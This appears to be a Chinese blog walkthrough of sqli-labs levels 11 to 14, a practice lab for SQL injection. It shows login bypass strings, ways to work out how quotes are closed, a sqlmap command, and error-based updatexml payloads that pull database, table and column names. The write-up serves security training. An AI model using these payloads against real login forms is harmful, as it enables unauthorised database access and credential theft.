sqli-labs 11到14题

发布时间 2023-05-29 10:25:14作者: 米斯特李

第11题

打开是这种页面

随便输入一个账号密码,查看传参为post方式

 这个题有点奇怪,hackbar不能点运行,点了会说form.submit is not a function :不知道大家有没有遇到这种情况

 我们查看源码:

 应该是name="submit"冲突了

 使用burp suite抓包:

这种登录题一般使用万能密码试探一下,有的时候不做任何过滤直接可以过,就像这道题

 之后一个个爆账户密码:

大家注意Limit没有括号,我给加了个括号一直没有显示呜呜呜

 

或者选择慢慢爆库名表名字段名:

这里要注意:sql语句大概是这样的:

select username,password from users where username='$username' and password='$password' limit(0,1)

我们传入的username闭合了前一个' ,还有一个后面的' ,所以有两种处理方式来插入我们的order by以及其他sql语句:
第一种方式:

在username处闭合后不用password:
username=' 'or 1=1 order by 2-- -&password='      这里-- -后面的都被注释

 第二种方式:

将username的两个'都闭合:
方式为:username=' ' or '1'='1',我们要注入的sql语句在password之后,如下所示:

 以上两种方式都可以完成注入

 之后就是基础的union注入了。

或者使用sqlmap:
首先将burp抓到的包复制为文件,然后kali输入命令:

sqlmap -r "1.txt" --dbs

之后就可以愉快的继续啦

 第12题

打开也是跟上一题一样的界面,判断闭合方式(我是在bp里做的,我觉得一个一个试比较靠谱,因为没有报错信息)

可以这几个一个一个试: ‘、 ”、 “)、’)

本题为")方式闭合

 之后一个一个爆破账户名密码

 

第13题

首先判断闭合方式:

查看报错信息

 单引号报错,双引号不报错:跟单引号有关:

 注释后还是报错,说明不是'

 ’)不报错说明是')闭合

 发现只对错误回显

 找到闭合方式,但是没有正常回显,尝试用报错盲注

这里先说下报错盲注的原理:
如下图

 extractvalue中第二个参数为xml查询,显然0x7e:~并不是xml格式,因此会报错

报错信息会执行后面语句,可以注入;

第二种为updatexml函数,注意比extractvalue函数多一个后面的参数

 之后爆表明库名时记得在第二个参数上打括号,像这样

 知道怎么注入后,接下来就简单了:
爆库名:

uname=23&passwd=')and updatexml(1,concat(0x7e,database()),0x7e)-- - &submit=Submit

 爆表名:

uname=23&passwd=')and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0x7e)-- - &submit=Submit

 爆字段

uname=23&passwd=')and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)),0x7e)-- - &submit=Submit

剩下的都一样了。

第14题

判断闭合方式:

'不报错,"报错:闭合方式与"有关:

 " or 1=1-- -报错

") or 1=1-- -报错:

闭合方式为"

 

 错误会有回显,无错误不回显,为报错盲注,与上一题一样。